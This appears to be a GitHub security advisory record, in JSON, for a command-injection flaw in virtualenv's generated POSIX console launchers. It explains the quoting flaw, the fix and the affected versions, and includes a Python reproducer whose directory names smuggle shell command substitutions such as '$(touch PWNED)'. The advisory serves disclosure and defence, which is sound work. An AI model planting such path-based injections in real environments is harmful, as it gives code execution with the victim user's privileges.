{"id":"GHSA-c978-59m8-c77v","summary":"virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax","details":"## Summary\n\nA destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The\napp-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not\npreserve it as literal data in the shell wrapper.\n\n## Affected area\n\nPOSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.\nWindows executable launchers are not affected by this path.\n\n## Attacker-controlled input\n\nAn attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a\ngenerated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nThe app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`.\nIt adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path\nhas a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like\n`'''exec' \"\u003cpath\u003e\" \"$0\" \"$@\"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same\nwrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and\nactivation do not trigger the shell payload.\n\n## Reproduction and evidence\n\nThe scanner created three environments: a control under `my -touch PWNED- project`, one under\n`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was\ncreated without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the\ncontrol created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the\ngenerated launcher, with the user's privileges, rather than during seeding.\n\nThe report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.\n[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and\nrepairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip\ninstall or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up\nreview reports that later path separately.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant V as virtualenv seeder\n    participant D as distlib ScriptMaker\n    participant S as Generated bin/pip\n    participant U as User\n    A-\u003e\u003eV: path contains $(touch PWNED)\n    V-\u003e\u003eD: pass interpreter path with incomplete shell quoting\n    D-\u003e\u003eS: write /bin/sh wrapper\n    Note over V,S: no payload runs during creation or activation\n    U-\u003e\u003eS: pip --version\n    S-\u003e\u003eS: shell expands path and runs touch\n    S--\u003e\u003eU: PWNED appears with user's privileges\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/repro-console-script\")\n\n# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).\nDIRECTORY_NAMES = {\n    \"CONTROL\": \"my -touch PWNED- project\",\n    \"OBSERVED\": \"my $(touch PWNED) project\",\n    # no space: distlib also picks the /bin/sh launcher once \"#!\u003cdest\u003e/bin/python\" is longer than 127 bytes\n    \"OBSERVED_LONG\": \"p\" * 120 + \"$(touch${IFS}PWNED)\",\n}\n\nshutil.rmtree(WORK, ignore_errors=True)\npip_printed = {}\ncreated_by_pip = {}\nfor label, name in DIRECTORY_NAMES.items():\n    # the payload can hold no \"/\", so it touches a relative PWNED: each case gets its own empty working directory\n    cwd = WORK / label / \"cwd\"\n    venv = WORK / label / name / \"venv\"\n    cwd.mkdir(parents=True)\n\n    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)\n    subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", str(venv)], cwd=cwd, check=True)\n    assert list(cwd.iterdir()) == [], \"environment creation must not have created anything\"\n\n    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own\n    pip = subprocess.run([venv / \"bin\" / \"pip\", \"--version\"], cwd=cwd, capture_output=True, text=True)\n    pip_printed[label] = pip.stdout\n    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())\n\n    launcher = (venv / \"bin\" / \"pip\").read_text().splitlines()\n    print(f\"{label}: directory name {name!r}\")\n    print(f\"  bin/pip line 1: {launcher[0]}\")\n    print(f\"  bin/pip line 2: {launcher[1]}\")\n    print(f\"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"  files bin/pip created in the working directory: {created_by_pip[label]}\")\n\n# check: a directory name is data; starting pip must run pip and nothing else\ncontrol_ok = pip_printed[\"CONTROL\"].startswith(\"pip \") and created_by_pip[\"CONTROL\"] == []\nattack_ran = created_by_pip[\"OBSERVED\"] == [\"PWNED\"] and created_by_pip[\"OBSERVED_LONG\"] == [\"PWNED\"]\nprint(\"BUG\" if control_ok and attack_ran else \"OK\")\n```\n\n## Fix scope and remaining exposure\n\nPR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The\npip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's\nvendored distlib.\n\nA later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing\nlaunchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to\nregenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.\nThe follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are\nattributed to the reviewer.\n\n## Impact\n\nRunning an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project's\n[generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector\nassumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are\nrequired; successful command execution can affect the user's data and processes.\n\n## Versions tested\n\nThe maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review\nrecords reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are\nunchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse an environment destination chosen by a trusted user. For older releases, avoid generating\nenvironments at destinations derived from untrusted input.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.","aliases":["CVE-2026-113722"],"modified":"2026-10-21T21:45:08.347797238Z","published":"2026-10-21T21:30:12Z","database_specific":{"github_reviewed_at":"2026-10-21T21:30:12Z","nvd_published_at":"2026-10-20T20:17:18Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113722"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3417"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c978-59m8-c77v/GHSA-c978-59m8-c77v.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}